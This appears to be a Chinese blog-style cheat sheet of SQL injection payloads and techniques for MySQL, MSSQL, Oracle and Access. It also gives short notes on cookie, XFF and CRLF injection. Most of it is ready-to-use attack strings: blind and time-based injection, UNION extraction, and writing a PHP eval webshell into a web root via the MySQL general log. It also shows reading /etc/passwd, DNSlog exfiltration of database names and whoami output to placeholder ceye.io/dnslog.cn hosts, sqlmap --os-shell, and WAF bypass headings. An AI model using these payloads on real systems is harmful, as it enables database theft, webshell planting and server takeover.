mysql语句%3e= %3c=_SQLI

开源项目

https://github.com/payloadbox/sql-injection-payload-list

站库分离判断

MSSQL

select host_name(); --客户端主机名

select @@servername; --服务端主机名

数据库判断

ACCESS和SQLServer

[Host]?[par]=[Num] and (select count(*) from sysobjects)>0

[Host]?[par]=[Num] and (select count(*) from msysobjects)>0

.net站点

MSSQL System.Data.SqlClient

Oracle System.Data.OracleClient

MySql MySql.Data.MySqlClient

Mysql数据库

SQLI检测

" --双引号

$id = '"' . $id . '"';

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

$result=mysql_query($sql);

$row= mysql_fetch_array($result);

username=admin --admin账号在数据库中存在

password=1' and (sleep * from (select(sleep(5)))

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);

$row=mysql_fetch_array($result);//echo $row;

if($row)

{//echo '';

$row1 = $row['username'];//echo 'Your Login name:'. $row1;

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

mysql_query($update);

echo"
";

and sleep()/or sleep()

df6a32fc96d69e9b7650e5bb6ef87f42.png

or 1=1/or 1=2

aeac0cbfaf72cdb13095e9bd646caffd.png

par=2 like 2/par=2 like 3

d5b243edf5bb1230adfeb01ad44cf232.png

and version()

b85528f6e2ead2f46ca7f03117dab5af.png

and ifxxx sleep

c3830d28f54e87f6df049efdd4a2c212.png

'

and 1=1 和 and 1=2

or 1 和 or 0

and if(1,1,0) 和 and if(0,1,0)

and if(null,0,true) 和 and if(nll,0,false)

and sleep(3)

and benchmark(10000000,encode('hello','mom'))

and if(1<2,sleep(3),sleep(1))

like 1=if(1>2,sleep(3),1) 和 like 1=if(1>2,sleep(3),2)

like 1=if(1>2,1,sleep(3)) --延迟注入 - 相当于 like 1=sleep(3) - 页面进入死循环

xor 0 和 xor null

xor if(1,0,1) 和 xor if(1,null,1)

between 1 and sleep(3) --延迟注入 - 页面进入死循环

between 1 and 1 和 between 1 and 2

and if(0.00000000000000001,1,0) 和 and if(0.0000000000000001,0,1)

and 1<>2 和 and 1<>1

and 1=if(1<>2,1,0) 和 and 1=if(1<>2,2,1)

xor 1<>1 和 xor 2<>null

and 1=ifnull(1,0) 和 and 1=ifnull(null,2)

and ifnull(sleep(3),0)

xor ifnull(null,null)

and nullif(sleep(3),sleep(3)) 和 and nullif(sleep(3),sleep(2)) 和 and nullif(sleep(2),0) --相应时间一次为6s,3s,2s

xor space(1) 和 xor space(1)=null

and space(1)=char(32) 和 and space(1)=2

div 1=1 和 div 1=2

div if(1,1,0) 和 div if(1,0,1)

having if(1,1,0) 和 having if(1,0,1)

mod 2=1 和 mod 2=2mod 2 和 mod 1

mod if(1,2,0) 和 mod if(1,1,0)

like round(1.2) 和 like round(0)

and + case when + sleep

xor case when 1>0 then sleep(3) else sleep(1) end --页面进入死循环

and 'ccc'=0 和 and 'ccc'=1

xor 'ccc' 和 xor null

like elt(1,1) 和 like elt(2,1)' and (select (load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\aaa')))#admin' or 'a'='a | admin" | admin' | admin") or ("a")=("a 登录框

数据库长度判断

if(length(database())=num,sleep(4),0)

UNION SELECT

id=1 union select 1,2,database(),4,5,6,7,8,9,10,11,12 from {Table_name}

getshell

outfile

日志备份set global general_log='ON';set global general_log_file='/var/www/html/web00/phpinfo.php';select '<?php @eval($_POST[1]);?>';

读取服务器信息

select load_file('/etc/passwd'); ssh密码信息

select load_file('/etc/udev/rules.d/70-persistent-net.rules');网卡信息

SQLServer

基于时间

WAITFOR DELAY

数据库用户首字母猜解Par=[Num]-(asCii(RIGHT(user,1)))Par=[Num]-(asCii(RIGHT(user,1)))

sqlmap

--is-dba 用户权限判断--sql-shell 执行数据库命令--os-shell 执行系统命令

注入技巧

https://xz.aliyun.com/t/8513

Oracle

布尔盲注

length(SYS_CONTEXT('USERENV','CURRENT_USER'))

dnslogor utl_http.request('http://'||user||'.xxx.dnslog.cn') = 1

Access

表名猜解

and exists(select * from[FormName])

时间盲注-XFF-2020/4/17-Payload

X-Forward-For:'and(select 1 from (select(sleep(2)))x)#

报错注入-EXP-2020/410-Payload

%27,1,1,1,(select%20exp(~(select*from(select%20user())x))),1)%3B--%20-

时间盲注-Sleep-20204/11-Payload

select * from user where NAME =(select(1) from (select(sleep(25)))v);

sqlmap跑数据遇到 XSRF-TOKEN

使用 burp macros 绕过

SQL注入语句-登录框

select @@secure_file_priv;  --查看是否可以导入导出,为NUll表示不允许,为空表示允许

load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;             --mysql3.x读取方法

select * from (select name_const(version(),1))a;   --查看数据库版本

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;   --利用数据库报错信息查看数据库版本

concat()

make_set()

lpad()

repeat()

reverse()

export_set()

sleep

注入判断and sleep(4)数据库用户名猜测

if(user()='root',sleep(4),sleep(1));数据库名猜测if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=113,sleep(1),sleep(4));

dnslog注入

获取计算机名for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

获取用户名for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

Cookie注入

8f900a89c6347c561fdf2122f13be562.png

961ddebeb323a10fe0623af514929fc1.png

直接使用Request获取参数如:SID=Request("ID"),先取Get值,再取Post值,然后取Cookie值

http://www.xxx.com/1.asp?id=123

如果我们只输 http://www.xxx.com/1.asp

时,就不能看到正常的数据,因为没有参数!我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),

先用IE输入

http://www.xxx.com/1.asp

加载网页,显示不正常(没有输参数的原因)

之后在IE输入框再输入

javascript:alert(document.cookie="id="+escape("123"));

按回车,你会看到弹出一个对话框 内容是: id=123之后,你刷新一个网页,如果正常显示,表示是用

Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入

在输入框中输入

javascript:alert(document.cookie="id="+escape("123 and 3=3"));

刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)

javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面

如果不正常显示,这就表示有注入

View Code

CRLF

(2)注入-》 XSS攻击

POC|EXP

(1)http://IP:Port%0d%0aSet-Cookie:crlf=true -> 查看 Response -》如果 Set-Cookie字段存在则漏洞存在

(2)/xx/landing?ref=xxx?t=%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%3cscript%3Ealert(9)%3c%2Fscript%3e

SSTI注入

sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell

XFF注入

注入判断

X-Forwarded-for: 127.0.0.1X-Forwarded-for: 127.0.0.1’

X-Forwarded-for: 127.0.0.1'and 1=1#X-Forwarded-for: 127.0.0.1'and 1=2#

异或注入

可用于判断过滤

http://xx.xx.86.145:90/index.php?id=1'^(length('union')=5)%23

当union被过滤时1^0 输出id=1当union没被过滤时1 ^ 1 输出 id=0回显 error

Par格式问题 . SQLI检测

括号(1)Par=([Num]) Par=([Str])

) and 1=1 和 ') and 1=1#

SQLI  安全设备绕过方法

大小写转换法

特殊字符构造法

编码绕过

拼凑法

靶场

https://github.com/Audi-1/sqli-labs 需要php版本低于php5.6

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值